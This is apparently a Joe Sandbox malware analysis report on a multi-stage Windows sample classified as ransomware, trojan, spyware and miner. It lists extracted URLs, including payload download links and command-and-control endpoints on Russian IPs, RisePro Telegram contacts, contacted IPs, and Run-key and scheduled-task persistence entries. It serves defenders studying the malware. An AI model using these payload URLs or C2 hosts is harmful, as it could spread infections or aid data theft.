https://t.me/copterwin	YsL35EpGrjU1rZchKY2714UT.exe, 00000008.00000002.1925118088.00000000041D0000.00000040.00001000.00020000.00000000.sdmp, YsL35EpGrjU1rZchKY2714UT.exe, 00000008.00000002.1950018220.0000000004510000.00000004.00001000.00020000.00000000.sdmp, YsL35EpGrjU1rZchKY2714UT.exe, 00000008.00000002.1943771708.00000000044D0000.00000040.00001000.00020000.00000000.sdmp, F2MwMOxTR5ZuDHHYSd2btGVy.exe, 0000000F.00000002.1896458066.0000000000717000.00000004.00000001.01000000.0000000F.sdmp	false
http://185.172.128.170/7043a0c6a68d9c65.php8s	va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2470528730.0000000002EF1000.00000004.00000020.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	uSTzApXGKnAPBLGKxFTiBRtj.exe, 0000000D.00000002.2382093080.000001CEBDD3B000.00000004.00000800.00020000.00000000.sdmp	false
http://147.45.47.102:57893/cost/go.exe92.168.0	oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2418440068.000000000163F000.00000004.00000020.00020000.00000000.sdmp	false
http://www.borland.com/namespaces/TypesP%	YsL35EpGrjU1rZchKY2714UT.exe, 00000008.00000002.1918440788.000000000087E000.00000004.00000020.00020000.00000000.sdmp	false
https://ipinfo.io:443/widget/demo/8.46.123.1753	NRN3O_fFwiqNbjNW0Hj0MSKB.exe, 00000005.00000002.2080454076.00000000013AB000.00000004.00000020.00020000.00000000.sdmp	false
https://api.ip.sb/ip	Dnr7f7kJx0GzWtxbQaDXLIUA.exe, 00000012.00000002.1896456642.00000000001B7000.00000004.00000001.01000000.00000011.sdmp	false
https://t.me/risepro_botlaterH	r7sW8wNeP3sav5N1yYLUJzML.exe, 00000013.00000002.2125618399.0000000001B7A000.00000004.00000020.00020000.00000000.sdmp	false
https://monoblocked.com/525403/setup.exeYY	SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1745786204.000000000293F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1761266011.000000000293F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1758335917.000000000293F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1765995676.000000000293F000.00000004.00000020.00020000.00000000.sdmp	false
https://vk.com:80/doc5294803_669847023?hash=ryX3Kg1W9ePIkzc6vvqmcK7uQKdsrG6gPWaYos4CQF0&dl=8t55Ziv6z	SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1765995676.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1736544337.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1758335917.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1726041232.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1761266011.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1745786204.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1726788500.0000000002998000.00000004.00000020.00020000.00000000.sdmp	false
http://185.172.128.170/7043a0c6a68d9c65.phpVDW	va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2511825136.0000000029452000.00000004.00000020.00020000.00000000.sdmp	false
https://ipinfo.io/widget/demo/8.46.123.1758z	NRN3O_fFwiqNbjNW0Hj0MSKB.exe, 00000005.00000002.2080454076.0000000001361000.00000004.00000020.00020000.00000000.sdmp	false
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	NRN3O_fFwiqNbjNW0Hj0MSKB.exe, 00000005.00000003.2003586747.0000000005FB8000.00000004.00000020.00020000.00000000.sdmp, NRN3O_fFwiqNbjNW0Hj0MSKB.exe, 00000005.00000003.2006925023.0000000005FC7000.00000004.00000020.00020000.00000000.sdmp, NRN3O_fFwiqNbjNW0Hj0MSKB.exe, 00000005.00000003.2000997136.0000000005FA4000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2084595010.0000000005F70000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2079337796.0000000005F41000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2079763854.0000000005F70000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2253389959.000000000171F000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2241837265.00000000016F9000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2246648717.000000000173C000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2243083756.000000000172A000.00000004.00000020.00020000.00000000.sdmp, r7sW8wNeP3sav5N1yYLUJzML.exe, 00000013.00000003.2008108302.0000000006545000.00000004.00000020.00020000.00000000.sdmp, r7sW8wNeP3sav5N1yYLUJzML.exe, 00000013.00000003.2004113521.0000000006531000.00000004.00000020.00020000.00000000.sdmp, r7sW8wNeP3sav5N1yYLUJzML.exe, 00000013.00000003.2002279136.0000000006511000.00000004.00000020.00020000.00000000.sdmp	false
https://t.me/RiseProSUPPORT	NRN3O_fFwiqNbjNW0Hj0MSKB.exe, 00000005.00000002.2084327302.0000000005F70000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000002.2282956146.0000000005F44000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2258790556.00000000016EE000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2258325722.0000000001701000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2258481229.0000000001703000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2258325722.00000000016EE000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2258554267.00000000016EE000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2420174120.00000000016EF000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2289582215.00000000016EE000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2418440068.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, r7sW8wNeP3sav5N1yYLUJzML.exe, 00000013.00000002.2127239509.00000000064EF000.00000004.00000020.00020000.00000000.sdmp	false
http://5.42.65.116/lumma2305.exe8	ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000002.2282956146.0000000005F77000.00000004.00000020.00020000.00000000.sdmp	false
http://5.42.65.116/lumma2305.exe6	r7sW8wNeP3sav5N1yYLUJzML.exe, 00000013.00000002.2125618399.0000000001B7A000.00000004.00000020.00020000.00000000.sdmp	false
https://www.ecosia.org/newtab/	NRN3O_fFwiqNbjNW0Hj0MSKB.exe, 00000005.00000003.2003586747.0000000005FB8000.00000004.00000020.00020000.00000000.sdmp, NRN3O_fFwiqNbjNW0Hj0MSKB.exe, 00000005.00000003.2006925023.0000000005FC7000.00000004.00000020.00020000.00000000.sdmp, NRN3O_fFwiqNbjNW0Hj0MSKB.exe, 00000005.00000003.2000997136.0000000005FA4000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2084595010.0000000005F70000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2079337796.0000000005F41000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2079763854.0000000005F70000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2241837265.00000000016F9000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2246648717.000000000173C000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2243083756.000000000172A000.00000004.00000020.00020000.00000000.sdmp, r7sW8wNeP3sav5N1yYLUJzML.exe, 00000013.00000003.2008108302.0000000006545000.00000004.00000020.00020000.00000000.sdmp, r7sW8wNeP3sav5N1yYLUJzML.exe, 00000013.00000003.2004113521.0000000006531000.00000004.00000020.00020000.00000000.sdmp, r7sW8wNeP3sav5N1yYLUJzML.exe, 00000013.00000003.2002279136.0000000006511000.00000004.00000020.00020000.00000000.sdmp	false
http://www.borland.com/namespaces/Typeshhttp://www.borland.com/namespaces/Types-IWSDLPublish	SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1742442702.0000000005305000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1746330433.0000000005B8C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1732566668.0000000004F52000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1736926727.000000000506E000.00000004.00000020.00020000.00000000.sdmp, YsL35EpGrjU1rZchKY2714UT.exe, 00000008.00000000.1873182574.0000000000401000.00000020.00000001.01000000.00000009.sdmp	false
https://ipinfo.io/	r7sW8wNeP3sav5N1yYLUJzML.exe, 00000013.00000002.2125618399.0000000001B7A000.00000004.00000020.00020000.00000000.sdmp	false
https://ipinfo.io/namehttps://ipgeolocation.io/status	SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1659445975.0000000000520000.00000004.00001000.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/wsdl/	YsL35EpGrjU1rZchKY2714UT.exe, 00000008.00000000.1873182574.0000000000401000.00000020.00000001.01000000.00000009.sdmp	false
https://ipinfo.io/https://ipgeolocation.io/::	WjH5u4L3ZceSlLwRuJa2oMKn.exe, 0000000E.00000003.2033060356.00000000005E0000.00000004.00001000.00020000.00000000.sdmp, WjH5u4L3ZceSlLwRuJa2oMKn.exe, 0000000E.00000002.2134810264.0000000000C2D000.00000040.00000001.01000000.00000014.sdmp	false
http://5.42.65.116/l;	NRN3O_fFwiqNbjNW0Hj0MSKB.exe, 00000005.00000003.2045130437.0000000005FC0000.00000004.00000020.00020000.00000000.sdmp	false
http://85.192.56.26/api/flash.phpqderu	WjH5u4L3ZceSlLwRuJa2oMKn.exe, 0000000E.00000002.2133897678.00000000006E4000.00000004.00000020.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/wsdl/mime/	YsL35EpGrjU1rZchKY2714UT.exe, 00000008.00000000.1873182574.0000000000401000.00000020.00000001.01000000.00000009.sdmp	false
https://monoblocked.com/525403/setup.exer-end-point:	SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1745786204.000000000293F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1736544337.000000000293F000.00000004.00000020.00020000.00000000.sdmp	false
http://5.42.66.10/download/th/retail.phpU	SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1765995676.000000000293F000.00000004.00000020.00020000.00000000.sdmp	false
http://ocsp.sectigo.com0	SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1765464431.0000000006F18000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2167888234.000000000668A000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2166509341.0000000006AA8000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2168297913.0000000006682000.00000004.00000020.00020000.00000000.sdmp	false
http://147.45.47.102:57893/hera/amadka.exe	oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2290350767.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2290103551.00000000016D5000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2418440068.000000000163F000.00000004.00000020.00020000.00000000.sdmp	false
https://ipinfo.io:443/widget/demo/8.46.123.175g	ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000002.2280792632.00000000016E9000.00000004.00000020.00020000.00000000.sdmp	false
https://aka.ms/dotnet-core-applaunch?	SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1737430213.00000000043E0000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1735833692.0000000004C5A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1736021478.0000000004B66000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1735597066.0000000004B51000.00000004.00000020.00020000.00000000.sdmp, AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000000.1877131180.00007FF62C629000.00000002.00000001.01000000.0000000A.sdmp, AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000002.2264433765.00007FF62C629000.00000002.00000001.01000000.0000000A.sdmp	false
http://185.172.128.170/7043a0c6a68d9c65.phpc	va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2511825136.0000000029452000.00000004.00000020.00020000.00000000.sdmp	false
http://185.172.1V	va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2470528730.0000000002EF1000.00000004.00000020.00020000.00000000.sdmp	false
http://www.borland.com/namespaces/Types	YsL35EpGrjU1rZchKY2714UT.exe, 00000008.00000002.1918440788.000000000087E000.00000004.00000020.00020000.00000000.sdmp	false
http://85.192.56.26/K	WjH5u4L3ZceSlLwRuJa2oMKn.exe, 0000000E.00000002.2133897678.00000000006E4000.00000004.00000020.00020000.00000000.sdmp	false
https://db-ip.com/demo/home.php?s=8.46.123.175_	ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2089939827.0000000001702000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2089155668.00000000016FB000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000002.2280792632.00000000016F4000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2091372722.0000000001702000.00000004.00000020.00020000.00000000.sdmp	false
http://sta.alie3ksgee.com/123.456	AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000002.2263864919.00000255D9420000.00000040.00001000.00020000.00000000.sdmp, AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000003.1932902884.00000255D93F0000.00000004.00001000.00020000.00000000.sdmp	false
https://t.me/risepro_botrisepros0	oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2418440068.000000000163F000.00000004.00000020.00020000.00000000.sdmp	false
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe	va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2458664896.0000000000549000.00000040.00000001.01000000.00000007.sdmp	false
http://185.172.128.170/7043a0c6a68d9c65.phpu	va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2511825136.0000000029452000.00000004.00000020.00020000.00000000.sdmp	false
http://185.172.128.170/7043a0c6a68d9c65.phpo	va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2511825136.0000000029452000.00000004.00000020.00020000.00000000.sdmp	false
http://185.172.1J	va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2470528730.0000000002EF1000.00000004.00000020.00020000.00000000.sdmp	false
https://ipinfo.io:443/widget/demo/8.46.123.175	WjH5u4L3ZceSlLwRuJa2oMKn.exe, 0000000E.00000002.2133897678.00000000006C9000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2418440068.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, r7sW8wNeP3sav5N1yYLUJzML.exe, 00000013.00000002.2125618399.0000000001B7A000.00000004.00000020.00020000.00000000.sdmp	false
http://185.172.128.170/7043a0c6a68d9c65.php?su	va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2470528730.0000000002EF1000.00000004.00000020.00020000.00000000.sdmp	false
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	NRN3O_fFwiqNbjNW0Hj0MSKB.exe, 00000005.00000003.2003586747.0000000005FB8000.00000004.00000020.00020000.00000000.sdmp, NRN3O_fFwiqNbjNW0Hj0MSKB.exe, 00000005.00000003.2006925023.0000000005FC7000.00000004.00000020.00020000.00000000.sdmp, NRN3O_fFwiqNbjNW0Hj0MSKB.exe, 00000005.00000003.2000997136.0000000005FA4000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2084595010.0000000005F70000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2079337796.0000000005F41000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2079763854.0000000005F70000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2253389959.000000000171F000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2241837265.00000000016F9000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2246648717.000000000173C000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2243083756.000000000172A000.00000004.00000020.00020000.00000000.sdmp, r7sW8wNeP3sav5N1yYLUJzML.exe, 00000013.00000003.2008108302.0000000006545000.00000004.00000020.00020000.00000000.sdmp, r7sW8wNeP3sav5N1yYLUJzML.exe, 00000013.00000003.2004113521.0000000006531000.00000004.00000020.00020000.00000000.sdmp, r7sW8wNeP3sav5N1yYLUJzML.exe, 00000013.00000003.2002279136.0000000006511000.00000004.00000020.00020000.00000000.sdmp	false
http://sta.alie3ksgee.com/aaaaaaaa.jpgb	AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000002.2263415438.00000255D75AB000.00000004.00000020.00020000.00000000.sdmp	false
http://rpi.net.au/~ajohnson/resourcehacker	YsL35EpGrjU1rZchKY2714UT.exe, 00000008.00000002.1925118088.00000000041D0000.00000040.00001000.00020000.00000000.sdmp	false
http://185.172.128.170/7043a0c6a68d9c65.phpQ	va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2511825136.0000000029452000.00000004.00000020.00020000.00000000.sdmp	false
http://185.172.128.170/7043a0c6a68d9	va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2470528730.0000000002EF1000.00000004.00000020.00020000.00000000.sdmp	false
http://85.192.56.26/	WjH5u4L3ZceSlLwRuJa2oMKn.exe, 0000000E.00000002.2133897678.00000000006E4000.00000004.00000020.00020000.00000000.sdmp	false
https://fleur-de-lis.sbs/post/File_294/setup294.exeQ	SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1745786204.0000000002943000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1765995676.0000000002943000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1758335917.0000000002943000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1736544337.0000000002943000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1761266011.0000000002943000.00000004.00000020.00020000.00000000.sdmp	false

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.172.128.90	unknown	Russian Federation	50916	NADYMSS-ASRU	true
34.117.186.192	ipinfo.io	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
85.192.56.26	unknown	Russian Federation	12695	DINET-ASRU	true
185.172.128.159	unknown	Russian Federation	50916	NADYMSS-ASRU	false
37.221.125.202	f.123654987.xyz	Lithuania	62416	PTSERVIDORPT	true
23.67.133.187	steamcommunity.com	United States	20940	AKAMAI-ASN1EU	true
65.109.242.59	unknown	United States	11022	ALABANZA-BALTUS	false
87.240.132.72	vk.com	Russian Federation	47541	VKONTAKTE-SPB-AShttpvkcomRU	false
185.172.128.170	unknown	Russian Federation	50916	NADYMSS-ASRU	true
172.67.132.113	iplogger.org	United States	13335	CLOUDFLARENETUS	false
95.142.206.3	sun6-23.userapi.com	Russian Federation	47541	VKONTAKTE-SPB-AShttpvkcomRU	false
95.142.206.0	sun6-20.userapi.com	Russian Federation	47541	VKONTAKTE-SPB-AShttpvkcomRU	false
95.142.206.2	sun6-22.userapi.com	Russian Federation	47541	VKONTAKTE-SPB-AShttpvkcomRU	false
23.197.127.21	unknown	United States	20940	AKAMAI-ASN1EU	false
95.142.206.1	sun6-21.userapi.com	Russian Federation	47541	VKONTAKTE-SPB-AShttpvkcomRU	false
172.67.147.32	iplis.ru	United States	13335	CLOUDFLARENETUS	false
5.42.67.8	unknown	Russian Federation	39493	RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU	false
147.45.47.149	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
87.240.137.134	ps.userapi.com	Russian Federation	47541	VKONTAKTE-SPB-AShttpvkcomRU	false
147.45.47.126	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	true
176.111.174.109	unknown	Russian Federation	201305	WILWAWPL	false
104.26.4.15	db-ip.com	United States	13335	CLOUDFLARENETUS	false
172.67.75.163	api.myip.com	United States	13335	CLOUDFLARENETUS	false
5.42.65.115	unknown	Russian Federation	39493	RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU	true
91.202.233.232	unknown	Russian Federation	9009	M247GB	false
5.42.65.116	unknown	Russian Federation	39493	RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU	false
5.42.66.10	unknown	Russian Federation	39493	RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU	false
5.42.65.64	unknown	Russian Federation	39493	RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU	false
188.114.97.3	api.2ip.ua	European Union	13335	CLOUDFLARENETUS	false
188.114.96.3	lop.foxesjoy.com	European Union	13335	CLOUDFLARENETUS	false
146.70.56.165	kurd.computer	United Kingdom	2018	TENET-1ZA	false
103.146.158.221	f.alie3ksggg.com	unknown	135763	GAYATRI-ASGAYATRICOMMUNICATIONSIN	false
45.130.41.108	monoblocked.com	Russian Federation	198610	BEGET-ASRU	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1447129
Start date and time:	2024-05-24 13:41:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 13m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	51
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe
Detection:	MAL
Classification:	mal100.rans.troj.spyw.evad.mine.winEXE@129/290@48/33
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 70% Number of executed functions: 49 Number of non-executed functions: 7
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, Conhost.exe, dllhost.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.67, 108.177.15.84, 142.250.186.78, 204.79.197.239, 13.107.21.239, 13.107.42.16, 142.250.185.110
Excluded domains from analysis (whitelisted): employhabragaomlsp.shop, config.edge.skype.com.trafficmanager.net, slscr.update.microsoft.com, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, pool.hashvault.pro, clients2.google.com, ocsp.digicert.com, login.live.com, config-edge-skype.l-0007.l-msedge.net, l-0007.l-msedge.net, config.edge.skype.com, edge-microsoft-com.dual-a-0036.a-msedge.net, fs.microsoft.com, accounts.google.com, ctldl.windowsupdate.com, edge.microsoft.com, fe3cr.delivery.mp.microsoft.com, edgedl.me.gvt1.com, l-0007.config.skype.com, edgeassetservice.azureedge.net, azureedge-t-prod.trafficmanager.net, umwatson.events.data.microsoft.com, msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com, clients.l.google.com, dual-a-0036.a-msedge.net
Execution Graph export aborted for target SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, PID 6664 because there are no executed function
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
07:42:18	API Interceptor	18x Sleep call for process: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe modified
07:42:20	API Interceptor	1x Sleep call for process: _C5tySJGGF0UA_S78re9UWIo.exe modified
07:42:22	API Interceptor	195x Sleep call for process: katDE8F.tmp modified
07:42:27	API Interceptor	1x Sleep call for process: WDXRX19iwzw1OqSiNoRL5ABe.exe modified
07:42:32	API Interceptor	1x Sleep call for process: uSTzApXGKnAPBLGKxFTiBRtj.exe modified
07:42:39	API Interceptor	36x Sleep call for process: RegAsm.exe modified
07:42:56	API Interceptor	10x Sleep call for process: oRz0dgUR_xvbQVyt3Uz7F7QO.exe modified
12:42:27	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run RageMP131 C:\Users\user\AppData\Local\RageMP131\RageMP131.exe
12:42:32	Task Scheduler	Run new task: MPGPH131 HR path: C:\ProgramData\MPGPH131\MPGPH131.exe
12:42:35	Task Scheduler	Run new task: MPGPH131 LG path: C:\ProgramData\MPGPH131\MPGPH131.exe
12:42:39	Task Scheduler	Run new task: MSIUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7 HR path: C:\ProgramData\MSIUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7\MSIUpdaterV202.exe
12:42:41	Task Scheduler	Run new task: MSIUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7 LG path: C:\ProgramData\MSIUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7\MSIUpdaterV202.exe
12:42:49	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7 C:\Users\user\AppData\Local\AdobeUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7\AdobeUpdaterV202.exe
12:42:50	Task Scheduler	Run new task: MSIUpdaterV168_bdca866007fb255201297d2a15a49513 HR path: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe
